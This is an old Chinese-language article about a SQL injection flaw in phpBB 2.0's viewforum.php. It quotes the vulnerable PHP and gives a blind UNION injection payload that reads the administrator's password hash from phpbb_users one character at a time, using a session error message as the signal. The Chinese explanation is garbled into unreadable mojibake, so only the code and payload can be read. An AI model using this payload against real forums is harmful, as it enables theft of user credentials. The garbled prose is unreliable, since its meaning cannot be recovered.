ϺѿһƪĹphpעºô,ѰmysqlphpӲ˼ڣ˵˵ҵݻ,ϣש!&nbsp;<br>ŴҶaspעѾʮϤ,phpעaspҪ,Ϊphpmagic_gpcѡȷʵͷ,עвҪ,phpmysql,mysqlĹϵȱ,һ˽Ƕȿȷһ̶Ϸֹsql&nbsp;njectionĹ,;һʵ,phpbb2.0Ϊ:&nbsp;<br>viewforum.phpһû:&nbsp;<br>if&nbsp;(&nbsp;isset($HTTP_GET_VARS&lt;pOST_FORUM_URL])&nbsp;&nbsp;isset($HTTP_POST_VARS&lt;pOST_FORUM_URL])&nbsp;)&nbsp;<br>{&nbsp;<br>$forum_id&nbsp;=&nbsp;(&nbsp;isset($HTTP_GET_VARS&lt;pOST_FORUM_URL])&nbsp;)&nbsp;?&nbsp;intval($HTTP_GET_VARS&lt;pOST_FORUM_URL]):&nbsp;intval&nbsp;<br><br>($HTTP_POST_VARS&lt;pOST_FORUM_URL]);&nbsp;<br>}&nbsp;<br>else&nbsp;if&nbsp;(&nbsp;isset($HTTP_GET_VARS[forum]))&nbsp;<br>{&nbsp;<br>$forum_id&nbsp;=&nbsp;$HTTP_GET_VARS[forum];&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>$forum_id&nbsp;=&nbsp;;&nbsp;<br>}&nbsp;<br>forum,ֱӰŽ˲ѯ:&nbsp;<br>if&nbsp;(&nbsp;!empty($forum_id)&nbsp;)&nbsp;<br>{&nbsp;<br>$sql&nbsp;=&nbsp;"SELECT&nbsp;*&nbsp;<br>FROM&nbsp;"&nbsp;.&nbsp;FORUMS_TABLE&nbsp;.&nbsp;"&nbsp;<br>WHERE&nbsp;forum_id&nbsp;=&nbsp;$forum_id";&nbsp;<br>if&nbsp;(&nbsp;!($result&nbsp;=&nbsp;$db-&gt;sql_query($sql))&nbsp;)&nbsp;<br>{&nbsp;<br>message_die(GENERAL_ERROR,&nbsp;Could&nbsp;not&nbsp;obtain&nbsp;forums&nbsp;information,&nbsp;,&nbsp;__LINE__,&nbsp;__FILE__,&nbsp;$sql);&nbsp;<br>}&nbsp;<br>}&nbsp;<br>else&nbsp;<br>{&nbsp;<br>message_die(GENERAL_MESSAGE,&nbsp;Forum_not_exist);&nbsp;<br>}&nbsp;<br><br>aspĻźܶ˶ע.forum_idָ̳ڵĻͻʹ$resultΪգǷCould&nbsp;not&nbsp;obtain&nbsp;forums&nbsp;informationϢ,ĴͲִȥ&nbsp;<br>//&nbsp;<br>//&nbsp;If&nbsp;the&nbsp;query&nbsp;doesnt&nbsp;return&nbsp;any&nbsp;rows&nbsp;this&nbsp;isnt&nbsp;a&nbsp;valid&nbsp;forum.&nbsp;Inform&nbsp;<br>//&nbsp;the&nbsp;user.&nbsp;<br>//&nbsp;<br>if&nbsp;(&nbsp;!($forum_row&nbsp;=&nbsp;$db-&gt;sql_fetchrow($result))&nbsp;)&nbsp;<br>{&nbsp;<br>message_die(GENERAL_MESSAGE,&nbsp;Forum_not_exist);&nbsp;<br>}&nbsp;<br><br>//&nbsp;<br>//&nbsp;Start&nbsp;session&nbsp;management&nbsp;<br>//&nbsp;<br>$userdata&nbsp;=&nbsp;session_pagestart($user_ip,&nbsp;$forum_id)&nbsp;/****************************************&nbsp;<br><br>ؼǴǺŵһ,һsession_pagestart($user_ip,&nbsp;$thispage_id),session.phpжһ,ڴ̫&nbsp;<br><br>Ͳȫ,ȤĿѿؼsession_begin(),session_begin($user_id,&nbsp;$user_ip,&nbsp;<br><br>$thispage_id,&nbsp;TRUE))ͬļж,´&nbsp;<br>$sql&nbsp;=&nbsp;"UPDATE&nbsp;"&nbsp;.&nbsp;SESSIONS_TABLE&nbsp;.&nbsp;"&nbsp;<br>SET&nbsp;session_user_id&nbsp;=&nbsp;$user_id,&nbsp;session_start&nbsp;=&nbsp;$current_time,&nbsp;session_time&nbsp;=&nbsp;$current_time,&nbsp;session_page&nbsp;=&nbsp;<br><br>$page_id,&nbsp;session_logged_in&nbsp;=&nbsp;$login&nbsp;<br>WHERE&nbsp;session_id&nbsp;=&nbsp;"&nbsp;.&nbsp;$session_id&nbsp;.&nbsp;"&nbsp;<br>AND&nbsp;session_ip&nbsp;=&nbsp;$user_ip";&nbsp;<br>if&nbsp;(&nbsp;!($result&nbsp;=&nbsp;$db-&gt;sql_query($sql))&nbsp;&nbsp;!$db-&gt;sql_affectedrows()&nbsp;)&nbsp;<br>{&nbsp;<br>$session_id&nbsp;=&nbsp;md5(uniqid($user_ip));&nbsp;<br><br>$sql&nbsp;=&nbsp;"INSERT&nbsp;INTO&nbsp;"&nbsp;.&nbsp;SESSIONS_TABLE&nbsp;.&nbsp;"&nbsp;<br>(session_id,&nbsp;session_user_id,&nbsp;session_start,&nbsp;session_time,&nbsp;session_ip,&nbsp;session_page,&nbsp;<br><br>session_logged_in)&nbsp;<br>VALUES&nbsp;($session_id,&nbsp;$user_id,&nbsp;$current_time,&nbsp;$current_time,&nbsp;$user_ip,&nbsp;$page_id,&nbsp;$login)";&nbsp;<br>if&nbsp;(&nbsp;!($result&nbsp;=&nbsp;$db-&gt;sql_query($sql))&nbsp;)&nbsp;<br>{&nbsp;<br>message_die(CRITICAL_ERROR,&nbsp;Error&nbsp;creating&nbsp;new&nbsp;session&nbsp;:&nbsp;session_begin,&nbsp;,&nbsp;__LINE__,&nbsp;__FILE__,&nbsp;<br><br>$sql);&nbsp;<br>}&nbsp;<br><br><br>иsession_pagemysqlжǸ,Ă$page_id,Ҳ$forum_id,Ĳξͻᱨ,ͻError&nbsp;<br><br>creating&nbsp;new&nbsp;session&nbsp;:&nbsp;session_beginʾ,Ҫָ$forum_idֵҪ,ҰָΪ:-1%20union%20select%201,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20from%20phpbb_users%20where%20user_id=2%20and%20ord(substring(user_password,1,1))=57,ûŰ!Ȼָһڵforum_idصĲѯɲһΪ,ǲuser_idΪ2ûĵһλasciiֵǷΪ57,ǵĻеһδе$resultɲΪ,Ǿִession_pagestartĺĲȻҪˣǾʾError&nbsp;creating&nbsp;new&nbsp;session&nbsp;:&nbsp;session_begin,ͱ¶˵һλˣλ.&nbsp;<br><br>ûϢĻ뼴ʹעɹҲжǷѾɹϢҲа.͵渽һβԴ룬δֻҪԼ޸ľƵĲmd5,õӢİķĺԵֻҪһ·.